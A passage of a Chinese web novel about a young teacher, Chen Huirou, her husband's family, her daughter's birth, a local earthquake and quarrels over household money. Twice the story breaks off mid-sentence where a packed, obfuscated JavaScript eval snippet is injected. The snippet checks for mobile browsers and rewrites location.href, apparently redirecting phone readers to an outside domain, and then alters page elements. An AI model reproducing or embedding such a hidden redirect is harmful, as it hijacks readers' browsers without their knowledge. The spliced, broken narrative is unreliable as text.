余序洲的话让陈慧柔觉得意外,甚至在来的路上她还问过,准备怎么劝大哥,他都没说过这个主意。 瞒得真紧! “开电器维修铺?”余序南拧了拧眉,这点他倒是没想过。 余序洲又问:“去深圳打工的主意,是谁给你出的?” 余序南:“同车间的一个朋友,他兄弟就在深圳一家电子厂上班,效益还不错。因为知道他下岗,兄弟就叫他过去,这不,就喊我一起了。” 又是别人一叫就答应。 当初放弃教师岗,也是因为别人告诉他,工厂工资高,比当老师赚两三十块钱要好,让他辞职了过去当技术工,就真去了。 同样的坑不能踩两遍。 余序洲更反对大哥要去深圳打工这个想法。 “别人是有亲兄弟在,要在深圳扎根也是能努力抱团取暖。你老婆孩子爸妈兄弟都在饶平,你去了,多少年能在那有个房子,安个家?深圳房租和物价你了解过吗?我跟慧柔是去过的,贵得很,不信你问问她。” 被点到名的陈慧柔不得不应声,腼腆道:“是,我小弟就在深圳,但他也是跟朋友合租,自己租不起单间。” 余序洲摊手表示:“对吧,你出去打工,嫂子跟爸妈只会更牵挂。既然你想吃技术这碗饭,那可以利用家里现有的资源,别人还得租个铺面做生意,你家自己就有铺面,还省了租金。” “家电维修,好干吗?我……我今晚修电视就是顺手的事。” 余序南自己都笑了,就怕余序洲是听到他去给隔壁修电视,才临时起了这个主意。 “大哥,你明天上午抽空骑车去镇上四处看看。”陈慧柔也跟着补充,“我印象中干家电维修的不多,但现在家家户户多少都买得起小家电了,电器这种,用着就会有坏了需要修的时候,干这个不愁没生意。做的人少,指不定你还能当第一个吃螃蟹的人。” 原本不吭声的黄蕾听到这,也有些心动,最主要还是因为丈夫能留在自己身边:“第一个指望不上,我在下市路那见过,但河南这边确实没有。” 陈慧柔:“对啊,反正铺面是自己的,先试试,等孩子大点,上幼儿园或者上小学了,你想出去做生意或者找工作再考虑。当下,还是建议你留在家里好,不然没了主心骨,嫂子也挺慌的。” 余序南沉吟片刻,拍了下大腿:“行!你们说的话我记下了,我再想想。” 余序洲原本还想说什么,被陈慧柔摁住:“你凉茶都凉了,再不喝就太苦了。” 余序洲:“哦对,大哥、嫂子,我给你们买了杏仁茶。” “谢谢序洲,我的份序南喝了吧。” 黄蕾摸了摸隆起的肚子,莞尔。 凉茶喝完瞅了眼时钟,陈慧柔琢磨着还能去趟陈家,看看徐晓敏身体好多了没,见他们还有安排,余序南也没多留一盏茶,把人送到门口。 13. 生产 骑车离开,等过了桥,陈慧柔才扯着余序洲的衣角开口问:“你今天出的主意是来的路上就想好的,还是看到大哥去修电视才开窍的?” 余序洲哈哈笑了两声,偏过头看了陈慧柔一眼:“还是你懂我,不过我也不是突然才想到。之前就想过劝大哥自己做生意,别浪费铺面,租出去也租不了几个钱,但那时没想好要他做什么。” 余序洲还以为陈慧柔是想表扬自己,嘴角上扬的弧度,在大桥灯光下映衬得格外明显。回想刚刚,就差最后一句话仿佛这件事就能促成了:“要不是你刚才摁我,我都快说服大哥了。” “说服?”听着余序洲这话里话外的自信,陈慧柔只想笑,直接往他后背上来了一下:“你就别把责任揽到身上了。” “这有什么?”余序洲不理解。 “当老师当习惯了,还把说教那套带到大哥面前,不知道的以为你才是这家老大。还有,这不是买根葱买颗菜的小事。干得好,你这个出主意的是头功,干得不好,没发展前途,你不给自己留点余地,往后就成了背锅对象,明白我意思吗?” 余序洲做事就是一根筋,在人情世故这方面尤其。陈慧柔早看透了这家子的处事风格,眼下觉得有利可图就干,干不下去了就回过头怪当初贪图的这份利,好赖话都说了。 “你可以给建议,但不能把话说死了,不能强制要求大哥就这么选。万一他这个维修铺没开起来,没生意,责任在谁?是不是在你?到时候他就会说,当初他是想要去深圳发展的,是你非要他留下来开维修店。” 余序洲醍醐灌顶,连连点头:“对对,还好你提醒我了。” 陈慧柔敛下眸,淡淡道:“别人的人生,我们不能评头论足插手插脚,凡事还得以自己为主。” 余序洲想都没想就应了声是。 陈慧柔下意识就想问他,是什么是,真听懂了没有。但最后还是把话咽回肚子里,猜都猜得到回答,还是不要多此一举去问了。 国庆后,陈慧柔查出有身孕,徐晓敏随即给她订了一年的羊奶,嘱咐她好好养胎。还让王君去买五果跟糯米碾磨成粉,叮嘱陈慧柔孕期多煮五果糊吃,对孩子好。 王君孕期就是徐晓敏安排的食补,陈梓钰生下来时白白胖胖,皮肤好得不得了。轮到陈慧柔,也是这般期盼。 相比之下,余光亮夫妇对陈慧柔就没这么上心了,只吩咐她头三个月要小心些,多注意,全部注意力都放在了黄蕾身上,那毕竟是长孙。 开年一月中旬,黄蕾生了个女儿。余光亮掩下眼底失望,在翻了几个月字典取的男孩名里,挑了个女孩也能用的给小孙女,叫余清越。 待黄蕾坐完月子,余序南就在家开了间电器维修铺,生意还算不错,入门一角堆满了待修理的旧家电。赵婷每天下午都会去余序南家帮黄蕾带孩子,吃完晚饭才回家。 新学期开始前,余序洲因工作调动回到镇上的学校,一家人总算可以天天都在一起。 余家喜事接二连三,余光亮夫妇的脸色都红润了不少。 盛夏的夜,因一场大雨解了酷暑燥热,就连聒噪的蝉都躲了起来。今年台风尤其多,有时一个还没结束,另一个预警就来了。有的光是风大,阵势唬人,但雨水少;有的滂沱倾泻,风雨狂卷,不管不顾。 有了两年前那次水灾,镇上对排水系统也有更新和调整,加上搬到了余家,地势高,又是楼房。下雨了,陈慧柔再也不用忙着拿沙袋堵门口窗户,省去了不少麻烦。 余序洲从陈家回来时,陈慧柔已经躺床上准备休息了,听见声响,还是费劲起身。打开床头台灯,橙黄灯光朦朦胧胧。 “吵到你了?” 余序洲原本半只脚已经踏进了房间,像想到什么又退出去,洗干净手了才进屋。见陈慧柔起来,还给她拿了枕头垫在身后。然后脱下短衬衫,只剩一件工字背心,对着风扇吹。 “放心,爸妈那边一切如常,先前整了门槛石和排水口,今年都没受影响。” 陈慧柔下意识点点头:“好,你快去洗澡吧。” 余序洲下了课马不停蹄赶到陈家,扒拉了两口饭就帮忙检查排水口,赶上雨势太大回不来,又被陈敬涛叫去搭把手修里屋的窗子。这会儿累得感觉闭上眼睛就能昏睡过去。 “我坐会,缓缓再去洗。你睡吧,明早不是还得去学校?你们期末考监考用不着你吧?” 陈慧柔预产期在七月份,赶上学校期末考,一直没有请假,坚决要上到这个学期结束,站好最后一班岗再休产假。 “不用,我领完卷子就回来,不用太早去。” “行。” 余序洲扶着陈慧柔躺下,又把风扇转过来给她吹,观察了会风向,确认不会吹到头后才拿着换洗衣服离开。 次日上午,陈慧柔挺着大肚子到学校收东西,正好遇上在监考的黄沐卿。 黄沐卿盯着她的肚子,倒吸一口气:“你怎么还来,卷子我亲自送到你家还不放心吗?” 陈慧柔笑着摆手:“我休假手续得办全啊,主要也想跟他们说一下暑假作业和复习方向,下学期一来就是毕业生了,也该给那帮孩子上上压力,别丢我的人。” “副校亲自接你的毕业班,你还不放心?” 黄沐卿嗔了陈慧柔一眼,因着监考,她也不能和陈慧柔说太多,门口叨叨两句就又进教室里巡着,约好等监考结束一块走。结果待黄沐卿收完卷子回办公室,就见一阵兵荒马乱—— 陈慧柔羊水破了,要生了。 饶是遇事再淡定的黄沐卿,这会儿手心也是吓出汗来:“怎么这么突然!” 教导主任在门口拦了辆三轮车,几个人把陈慧柔扶上去,陈慧柔忍着痛还在道歉,她也不知道自个儿会提前发动。 “给大伙添麻烦了……” 黄沐卿跑到传达室喊:“郑老师,麻烦给序洲老师去个电话,说慧柔要生了,我们直接送她去医院,让他快点到。” 临走还不忘捎走郑老师一床值夜用的被子:“不好意思了,情况紧急,改明儿给您买两张新被子。” 郑老师挥挥手:“没事没事,注意安全。” 黄沐卿把被子垫在陈慧柔身子底下,免得路上太颠簸出点什么事,对着满头大汗的陈慧柔是又气又心疼。 “你说你真是,演的哪出。” 陈慧柔忍着疼,调侃道:“孩子出生了,得喊你声干妈。” “确实得!” 送进医院没多久,徐晓敏和陈敬涛就过来了,黄沐卿指了指产房:“慧柔在里面呢。” 徐晓敏被陈敬涛搀扶着上前,握住黄沐卿的手,不停地说着谢谢。 黄沐卿轻拍她的手背,笑着安抚:“敏姨,您跟我说这个不是见外了吗,我和慧柔的关系谁跟谁啊。” 陈敬涛看了眼四周:“序洲还没来?” 黄沐卿:“打电话通知了,估计在赶过来的路上吧。” 话音刚落,走廊另一边就传来一阵混乱的脚步声,余序洲和余光亮夫妇都过来了,一时间产房门口乌压压好些人。 余序洲去办手续,双方长辈就坐在长椅上等着。徐晓敏惦记陈慧柔这是提前发动,好些东西都没来得及准备,决定回家炖个汤再带过来,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071790|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈敬涛送她回去,晚点过来接班。 “这距离预产期都还有几天,怎么就突然要生了?” 赵婷接到电话心跳得飞快,这会儿嘴里还含着块参片在嚼。 黄沐卿解释:“阿姨,是这样的,她班里有个学生考试的时候压力太大晕过去了,她一着急就动了胎气。” 这情况黄沐卿也是在来的路上,听办公室里的老师说才知道的,陈慧柔对学生一向很上心,所以才会着急。 余光亮背着手站在产房门口,听到这话也回过身来埋怨:“这课都坚持上到期末了,让休息也不休。不就是个期末考?这也要去。唉。” 黄沐卿对陈慧柔这对公婆的印象一贯很一般,这会儿也是能不接话就不接话,权当没听见,就等陈慧柔生完孩子出来。 很快,产房有了动静,没过多久,护士抱着孩子出来:“陈慧柔家属。” “这这。” 余序洲赶忙上前。 “护士,是男孩还是女孩啊?” 赵婷拉着余光亮上前,问的第一句就是这个,让一旁原本欣喜不已的黄沐卿当即觉得刺耳,心里犹如闻到了什么恶臭一样膈应。 护士见惯了这种场面,面无表情道:“妈妈陈慧柔,1994年7月19日下午六点整生下一名女婴,5斤8两重。爸爸看一下,孩子情况一切正常。” 余序洲当爸爸了,笑得眼睛眯成两条缝,就知道点头说好。 黄沐卿追着问;“妈妈情况呢?” 护士:“也正常,等再观察一会就送回房间。” 黄沐卿松了口气:“好的,谢谢医生。” 余序洲:“谢谢医生。” 孩子又被抱了进去,余序洲还沉浸在当爹的喜悦中,丝毫没有注意到父母的情绪。 “我女儿长得真好看,白白的,像小羊脂玉。就是眼睛好像像我,不是很大,是不是啊沐卿老师?” 黄沐卿淡笑:“女大十八变,会越变越漂亮的。” 赵婷低声嘟囔:“又是姿娘,一个两个,都生不出小子。” 余光亮叹气:“老二家是指望不上了。” 国家实施计划生育政策,职工家庭只生育一个孩子,超生就要降职罚款。所以陈慧柔这一胎,赵婷格外看重,怀着的时候就没少旁敲侧击提醒她,可以的话走走门路,先去查一查是男是女。 陈慧柔没照着做,在她心里,男孩女孩都一样,提前知道又如何,是女孩还能打了不成? 赵婷坐回到椅子上,捶了捶酸痛的膝盖,当着外人的面也丝毫不掩饰:“现在就指望老大家能再生个男孩。” 黄沐卿全程听下来,只觉得情绪被人塞进一个闷臭且腐朽的瓶子里,半点气都透不出来,那一览无余的偏心和自私落后的思想就想堵在瓶口的破抹布,又臭又大块。 她蓦地起身往外走,走了两步又忍不住折回来,叫上余序洲。 “序洲老师,方便过来一下吗?我有话跟你说。” 余序洲看了眼产房门,人还没出来,便随着黄沐卿走到楼梯口。 “沐卿老师,今天多亏你了,都不知道该怎么好好感谢你。” 黄沐卿:“说谢谢就见外了,以我和慧柔的关系,这算不了什么。但我能做的也很有限,毕竟你们才是她的家人。女人十月怀胎不容易,生孩子更是鬼门关,不关心她情况也就算了,现在还拉着脸嫌弃生的是女孩,让慧柔知道了得多伤心。” 余序洲没料到黄沐卿会这么直白,被呛得一句话接不上,愣在原地。 “序洲老师,你都不护着慧柔,就更没人会护她了。” 14. 工资 陈慧柔坐了个非常辛苦的月子,在一年里最热的一个月。她时常觉得自己要被烤化了,像融化的麦芽糖,这时候要是能吃一口冰西瓜,兴许能称为年度最快乐的事情。 小希柠在她身边酣睡,小小一团没什么存在感,每天就是吃拉睡,偶尔哼唧一两声,从来不哭。 对门邻居江老师过来看了几次还夸赞,余家的娃娃都不哭不闹的,乖得很。 陈慧柔也这么觉得,她的小孩,全世界最可爱。 “孩子醒了吗?该抱她去洗澡了。” “没呢,再等会吧。” 陈慧柔还没出月子,给孩子洗澡的任务落在了余序洲身上,起初他抱都不敢,那么小一点,生怕抱的姿势不对,孩子不舒服,更别提给她洗澡了。 可赵婷说她腰不舒服,蹲不了太久时间,余序洲只能在旁边一点点学。带着洗了一周后赵婷就撒手不管了,新手爸爸自己摸索,现在也勉强算上手了。 屋里热得不像话,余序洲才坐一小会,额头上就出汗了,拿了把蒲扇用力扇着。 陈慧柔蹭着点风,说正事:“女儿的名字得定下来了,爸给取的那几个名字我听了都不喜欢,我想自己取。” 余家到了余清越这一代,是谨字辈,但余序南和余序洲都是生的女儿,不强制用这个字。本想着取名交给爷爷来,显得正式些,但余光亮给的那几个名字,不仅听上去重复率极高,其暗含的意思也让陈慧柔觉得不快。 余若楠、余向楠。 老先生说命里缺木得取个带木字旁的名字,难不成新华字典里就只有个“楠”字能用? “自己取也可以,大哥就是自己取的,你想好叫什么了吗?” 在这件事上,余序洲倒没什么意见,陈慧柔是语文老师,在取名涵义这方面应该想得比他更深层。 “你觉得余希柠怎么样?希望的希,柠檬的柠。” 陈慧柔眼睛亮亮的,话音刚落,身旁的孩子就醒了,嗷嗷叫了几声。 余序洲一听就笑了:“这哪里还需要我同意,她自己已经抢着回应你了。” 就这样,余希柠小朋友凭一己之力争得了这个听上去极为文雅温顺的名字。 陈慧柔的产假是从九月份开始算起的,不包括寒暑假在内,因此能休息到开春三月才去上班。 余希柠两个月大的时候,陈慧柔就经常带她去陈家和陈梓钰玩。陈梓钰刚升上幼儿园中班,每次见妹妹来,就会把自己的图画书跟玩具搬出来,学校老师教她什么,她就教给妹妹。 陈慧柔常跟王君开玩笑说,有陈梓钰在,她都省了育儿的心。 这天中午,余希柠不知道怎么了,喝完奶就开始哭闹。余希柠抱着她在屋里来回走圈哄着,儿歌唱了一首又一首,口干舌燥了都哄不好。 赵婷从隔壁屋过来,皱着眉头问:“是不是哪里不舒服?怎么闹成这样?没吃饱还是困了?” 陈慧柔也很着急:“不知道啊,喂她又不怎么吃,就是哭个不停。我摸了下额头也不烫,妈你看看。” 赵婷接过孩子,抱到客厅沙发坐下,像往常一样拿小玩具逗她玩,也不起效。本来在午休的余光亮也被吵醒了,披着外套出来,给陈慧柔支招。 “要不带她到楼下转一转,说去踢桃,她就最喜欢了。” 陈慧柔将信将疑,换了套衣服,拿起自行车钥匙,走到余希柠面前拍拍手:“妹妹,妈妈带你去踢桃,去找梓钰姐姐。” 余希柠瞬间止哭。 松开手的赵婷又气又笑:“一天天的,就知道出去玩!” 陈慧柔一方面很无奈,一方面又觉得小孩着实可爱,不会说话,靠哭来表达心事,然后让大人们急得团团转,一个个猜。 这个时间点,陈梓钰还在幼儿园,陈慧柔没打算带余希柠去找她,只是把孩子放在车前婴儿座,推着在楼下散步。心想最好能把她给遛睡着,再抱上楼。 结果刚走了两圈,陈慧柔就觉得一阵头晕目眩,脚下地面在晃动,她双手紧紧把着自行车扶手。 余希柠爆哭,陈慧柔赶紧抱住她,快步走到升旗台旁边的台阶。旗杆、大树都在剧烈晃动,学生停在校道的自行车接二连三倒下。 “地震了!” “地震了!跑啊!” 不知道哪里喊了一声,教室里的学生和老师都跑了出来,陈慧柔抱着余希柠站在操场台阶旁,只能看见教学楼二三层的走廊涌出来一大堆人。人群里有老师维持秩序的声音,学生害怕喊叫的声音,一时间场面很是慌乱。 原本在办公室的老师和学校保安率先跑出来空地维持现场秩序,余希柠还在哭,操场因为地震扬起沙尘,陈慧柔护着孩子往家属楼跑去。 她也很慌乱,长这么大,陈慧柔也是第一次遇到震感这么强的地震。余序洲不在,余光亮和赵婷还在家里,得把人喊下楼才行。 刚到家属楼,只有两三个邻居在楼下,多数都在自家阳台观望外面的情况。 “陈老师都跑着希柠跑下来啦,你公公婆婆呢,怎么没一起下来?” 邻居还以为陈慧柔是有震感才赶紧带着孩子下来。 陈慧柔抱着余希柠掂了掂,换个姿势:“地震前我就下楼了,爸!妈!你们快下来!别待在屋里!” 陈慧柔单手捂着余希柠的耳朵,朝楼上喊了几声,赵婷才推开窗户探出头来:“别喊了,都停了,就这点动静怕什么,真要大地震,你想跑也跑不了。” 楼下邻居听了都笑:“婷姐好心态,不过确实没感觉了。” 底层邻居在阳台附和道:“没事的,我们这楼房也不算危房,经得起考验。” 经不经得起考验,陈慧柔不想知道,她心里害怕,就是不想带着孩子冒险。劝不动余光亮和赵婷,她直接抱着余希柠离开,余序洲没回来之前,陈慧柔都不想回家。 三点二十分,又发生一次地震,陈慧柔带着余希柠刚到余序洲单位门口,门卫认出她来,好心给她开门。 “陈老师这是?” 陈慧柔心神不定,攥着车扶手:“我,我来给余序洲送钥匙,他忘了带家里钥匙。” 借口编得很仓促,好在门卫也没有计较,见小娃娃都睡着了,就从里屋搬了张凳子出来给陈慧柔,解释道:“刚刚地震,教学楼正在维持秩序,要不你坐在这儿等一会吧?” “谢谢,您这有电话吗?借我打给余序洲说一声。” “有,这儿。”门卫把座机推给陈慧柔。 很快,余序洲出来了。 陈慧柔看见他,眼底涌起热意,强撑着许久的情绪瞬间瓦解,嘴角往下撇了撇。碍着是余序洲工作的地方,她强忍着想要上前抱住他的想法,佯装平静道:“我来给你送钥匙。” 余序洲听得稀里糊涂的,刚想说自己带了钥匙,下一秒就察觉到陈慧柔异样情绪。 “好好,我正好没课了,和你们一起回家。” 余序洲顺手接过陈慧柔的车,把公文包套进车把手,握紧,又和门卫道了声谢,才离开。 余希柠坐在婴儿座上酣睡,纯粹是哭累了,脸颊上还挂着几道斑驳泪痕。陈慧柔侧身坐在后座上,双手搂着余序洲的腰,头靠在他的后背上,说起下午宝宝无端端嚎哭,刚抱她下楼哄睡就发生地震的事。 当然,也包括劝余光亮夫妇下楼无果。 余序洲安慰陈慧柔:“我爸妈就是那样的,别放在心上。这次地震说是受台湾高雄那边的影响,第一次地震的时候我还在上课,讲台上的东西、学生桌面的水杯、教室后面黑板上贴的纸都掉了。” 后来陈慧柔通过新闻才知道,这次地震各地不同程度受损,全县中小学校舍损坏三十五幢,倒塌教室三间,有近三百名学生因为惊慌下楼时互相拥挤踩踏而受伤,还有一名学生因为挤压踏伤抢救无效死亡。 彼时她正抱着余希柠喂奶,仍心有余悸。 一边庆幸孩子敏感,关键时刻救了自己,另一边回想起赵婷当时吼自己的那句话,万般不是滋味。 转眼年关将至,家家户户又开始忙碌大扫除和置办年货,余家也不例外。今年家里多了个余希柠,开销用度比往常多了不少,陈慧柔每一项支出都写得很仔细,给到赵婷时,依旧得被念叨个一两句。 这天,陈慧柔刚出门,赵婷就拿着笔记本去找余光亮。余光亮正抱着余希柠在阳台晒太阳,旁边还放着个收音机在听新闻。 “你看看这个月的支出,照这样下去迟早要把我们两份工资给贴进去。” 赵婷指着上面的名目,一个数一个数说给余光亮听:“这怀孕的时候喝羊奶,营养已经够好了,现在母乳和奶粉还不够?怎么还得吃这种五果糊?” 五果糊是徐晓敏开的方子,分别是茨实,薏米,茯苓,淮山,莲子各250克,糯米,糙米各500克,碾磨成粉兑水或者泡奶粉搅拌成糊。 比光喝奶粉营养要好,小孩子脾胃养好了不容易生病。余希柠怀孕的时候,徐晓敏就让王君给她备了两大罐,现在早就喝完了,得自己买原料然后碾磨成粉。 赵婷布满皱纹的手指重重戳着笔记本上的数,心疼道:“今年芡实、莲子和茯苓都不便宜。” 余光亮旁的没看,就看最后列的总数:“不是没超过他们的工资吗?给就是了,多个孩子多张嘴,是得花钱。” “这不是还有生活费吗,照这样下去,以后买菜钱都得花我们自己的。” 赵婷把本子塞给余光亮,总觉得陈慧柔算盘珠子都快打到自己脸上来了:“要我说,找个机会把生活费退回给老二得了,让他们自己理,省得花到我们的。” 余光亮不理解,对妻子这斤斤计较的模样有点看不惯,孩子还在这呢,他下意识捂住余希柠的耳朵。 “都一家人,什么他们的我们的。” 赵婷瞪了余光亮一眼:“家里大小事你没操持过你懂什么,这孩子长大了要花钱的地方多的是,早点把生活费退还给他们,不然以后连养老钱都没。” 陈慧柔根本不知道二老的好算计,久违地同黄沐卿一块逛街,给自己和孩子买了几件红色喜庆的新衣服,车里篮筐一下就装满了。 黄沐卿:“还想着你能把希柠给带出来呢。” 陈慧柔:“她下午一般都在睡觉,没意思得很,带出来就没法儿这么逛了。” “也是。”黄沐卿抬起下巴指了指篮筐里的袋子,问,“不给序洲老师也买件新衣服?” 陈慧柔想都没想就摇头:“他用不着,再说了,给他买,不也得给我公婆买,到时候肯定又被说不懂得省钱、浪费。” 黄沐卿:“你们现在工资还上交吗?” 陈慧柔:“嗯。” “要我说,还是得自己留一部分在身边才安心,特别是现在有了孩子。你公婆偏心小姑子也不是一天两天的事了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071791|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黄沐卿的提醒陈慧柔听进去了,结果还没想好怎么跟余光亮夫妇开口,他们反倒先主动提了。 饭后,赵婷示意陈慧柔先别急着去洗碗,余光亮有话要说。陈慧柔下意识看向余序洲,后者也是一副什么都不知道的表情。 “是这样的,我和你妈商量了,决定把生活费退回给你们,以后你们俩的工资都不用交给我们了。” 陈慧柔心里默默想着,沐卿还真是神算子,说什么来什么。这样也好,都用不着自己去想要怎么开口。 反倒是余序洲看不明白,只觉得有父母帮着管家也不错,这突然说退回来,是不是有哪里做得不对,惹阿姆生气了。 “爸妈,怎么突然说起这个。” 余光亮:“唉,我们也老了,有时候力不从心。你们不一样,正年轻有想法有能力。现在成家了,得学会料理生活,不能事事都靠我们年迈父母,我们劳累了一辈子退休了也想歇一歇,你们得担起这个家。” 陈慧柔一听,愣住了,这又是什么说法? 什么叫学会料理生活,担起这个家?退回生活费,不用上交工资,就是要让他们来理家? “以后你负责买菜,慧柔想吃什么你就买什么,营养要跟上,我和你妈没什么挑的。”说完,余光亮当真把月初交的生活费都退回给余序洲:“主要就说这些,没别的事了。” 余序洲有些六神无主,反倒是陈慧柔最先反应过来,叫住了原本准备起身离开的余光亮。短暂几分钟里,她脑海里迅速过了这些天在一起生活的细节,自认为没有什么做得不好,和二老产生争执的地方。 这突然说要他们来理家,连个预兆都没有。 “爸、妈,你们在,就是这个家的主心骨,过去一年也都是你们理家,我和序洲都习惯了,也觉得你们比我们有经验。”陈慧柔故意看了眼余序洲,“序洲调来侨中后,课都变多了,教学任务也重,我们还有个孩子要带,周末还好说,工作日真的顾不过来。” 即便陈慧柔说得很诚恳,但二老心意已决,特别是赵婷,这样的话在她那都不成立。 “这有什么好顾不过来的,顾不过来就更得锻炼了。你去问问看,哪家人不是小辈理家?他们不也有工作,现在觉得吃力,往后啊你们就得回过头来谢谢我们。你们买什么我们就吃什么,主动权都给你们还不好吗?” 赵婷的话让陈慧柔听了格外不舒服,她还想要反驳,被余序洲摁住,屋里的孩子正巧也哭闹起来,一股气积压在胸口淤着出不去,陈慧柔黑着脸起身离开饭桌,房门一关,碗都不想洗了。 “把财政大权交还给你们不是好事吗?她怎么还不开心了?”赵婷装作一副很无辜的样子,“我也是想她过得舒服自在些啊,想吃什么自己买,不好吗?” 余序洲一句话都不想说,收拾桌上的碗筷进厨房,放进水池那一刹那,他重重叹了口气。 自那日起,余序洲每天起早一个多小时去市场买肉菜回家,陈慧柔料理完余希柠就去做饭,吃完两人出门去学校,老人留在家里带孩子。 头两个星期,陈慧柔早课都是强忍困意,一进办公室就泡浓茶,旁人以为她是带孩子没睡好,只有黄沐卿知晓其中真相。 “要我说,这算好事。” “一定是我婆婆的注意,我公公在这种事上向来都不计较的。我婆婆就是觉得我最近花钱太过大手大脚,生怕以后连她那份一块花,这才赶紧把工资退还给我们,再顺便当个甩手掌柜乐得清闲。” 陈慧柔早就盘出来了,一张脸写满了忿忿不平。 “那你干脆就对自己好些,别白受这股气。” 黄沐卿提醒陈慧柔:“这老人啊,总觉得自己是最精明的,其实他们都管不住自己爱操心。不是让你们理家吗,那你们就好好表现一下,谁家规定买肉菜得一早上去买,下班去不也一样?反正你们只在家里吃顿晚饭,对吧?” 黄沐卿三两句话,给了陈慧柔一个新方向。 学校有饭堂,陈慧柔和余序洲早上、中午两顿其实都可以在学校解决,下了班去市场买菜回家煮晚饭也来得及。 至于老人们的早午餐,陈慧柔会在下午买菜时顺便把鱼给买了,晚上蒸好,第二天早上热一热就行。中午那顿就吃点粗粮,家里买了些地瓜跟玉米屯着,让他们到了饭点自己蒸一下就能吃。 实在不喜欢要下面条也行,她面条也买了商场那种一整袋的在家里放着。总之,不会让家里没一点吃的。 几天下来,不用再起早去买菜的余序洲觉得幸福感又上来了,胸口也不堵不闷,愈发觉得陈慧柔这主意出得好。 “我现在做梦都梦见在市场和人家抢鱼,买回来还得挨一顿说,乌鱼草鱼分不清。” 趁父母不在,余序洲感叹了一下。 这事儿确实为难他,以前也没有过去市场买菜的经历,价格都弄不明白,出发前让陈慧柔把要买的和价格都写在一张纸条上,他照着来。但也有买错买少的时候,有次挑的鸡蛋不新鲜也被赵婷说了。 “买菜比做教案还要难,买菜和做卷子,我选做卷子。” 陈慧柔忍着笑,说他:“难也得学,总不能都让我来,我今年带毕业班也很忙的。” 余序洲:“知道了,交替着来。” 这样的日子过了一个多月,公婆没说什么,陈慧柔觉得事情总算得到了圆满解决。殊不知,新的麻烦又来了。 15. 被赶 这天家里刚吃完晚饭,饭桌还没来得及收拾,就听见楼道传来一阵急促的脚步声,紧接着余稚乔哭着推门进来,把所有人吓了一跳。 余稚乔和黄蕾吵架了,挨了余序南一巴掌,跑回家来哭诉。 陈慧柔递上纸巾后就主动端起碗筷进厨房,把客厅空间留给他们自家人,要安慰要哭诉都行,她只当没听到,把水龙头拧开就开始洗碗。 等打扫完厨房出去,余稚乔已经冷静下来了,她看了眼陈慧柔,嘟嘟囔囔提出自己的诉求—— “我想搬回来住,不想跟大哥他们住一起了。” 陈慧柔进屋的动作一顿,难以置信地回过身来。 余稚乔垂下眼,挽着赵婷的手啜泣,故意避开陈慧柔的眼神,委屈道:“他们是一家人,我就是个外人,碍眼还添麻烦。” 赵婷拍拍余稚乔的手背:“别哭了,等我去说老大,怎么能动手打人。” “说了也没用,以后还是会有矛盾的。爸妈,我就想搬回来,住客厅就可以,我白天去上班床可以收起来,晚上回来睡就行。” 陈慧柔看向余序洲,见他沉默不语,生怕下一秒公婆真答应了这事,她只能硬着头皮开口。 “稚乔,你也不是小孩子了,睡客厅的话,一是不舒服,二我们起夜也会吵到你,休息不好的话会影响到第二天上班的状态。对吧?” 余稚乔努了努嘴,看向赵婷,对陈慧柔的话并不放在心上。 “我就是没办法了,要有办法也不会说睡客厅。这房子是我爸妈的,我要是连家都不能回,就真不知道该去哪了。” 一句话直接把陈慧柔呛得头脑发晕,一口气喘不上来不知道该应她什么好。 余希柠睡醒了找人,嗷嗷哭,陈慧柔咬咬牙进屋把门关上,隔绝外面的一切,静下心来哄孩子。大约过了一个多小时,外面传来大门关上的声音,紧接着余序洲也回了房间。 陈慧柔冷眼看他,半句话都不想说。明明已经是当爹的人了,在爸妈面前还是半点话语权都不敢争。 “稚乔回去了。” 陈慧柔还是没应声。 余序洲知道她在生气,耐心解释:“你那句话在理,爸妈也不舍得她在客厅打地铺,明早爸会去大哥家了解清楚情况。” “知道我的话在理,你又为什么不说?”陈慧柔怕吵到孩子,压低了声却抑制不住气,“像个哑巴一样坐在那,就等着别人把算盘珠子都崩你脸上了都不觉得疼。” 余序洲叹气:“那毕竟是我小妹。” “小妹怎么了,黄蕾是那蛮不讲理的人吗?大哥是不分青红皂白动手的性格吗?你怎么就不知道往回想想,光听余稚乔说就觉得错全在大哥大嫂那了?” 陈慧柔气不过,把余序洲踢下床:“我现在不想看见你,别进来碍眼吵到女儿睡觉。” 余序洲只得拿换洗衣服去洗澡。 房门关上,陈慧柔神色渐黯,她深知这件事不会就这么过去。从前余稚乔和黄蕾有矛盾,最多就是跑回来吃饭,背后说上几句。但今天不同,她不仅哭了,还当着所有人的面说要回来住,用了“没办法”这三个字。 以赵婷疼余稚乔的劲,保不齐这会正在琢磨要怎么把人接回来住。 小升初考试结束,卷子改完就正式进入暑假了,黄沐卿买好了车票准备上广州和许浩然团圆。 两人领证后婚礼都没办,许浩然就去广州进修读研究生,黄沐卿一有假期就过去,别人是异地恋,他俩是异地婚,但感情依旧很好。 “你要有空就带序洲老师一块来广州玩,这么长的假期别都在家耗着,浪费。” 陈慧柔强颜欢笑道:“有希柠呢,去不了太远。” “那就把孩子也一块带过来。” 黄沐卿拍胸脯表示自己虽然没当过妈也是带娃高手,陈慧柔笑笑没说话。 “对了,我想问你知不知道在下市路那边租房,是什么价位?” “租房?怎么突然问起这个?” 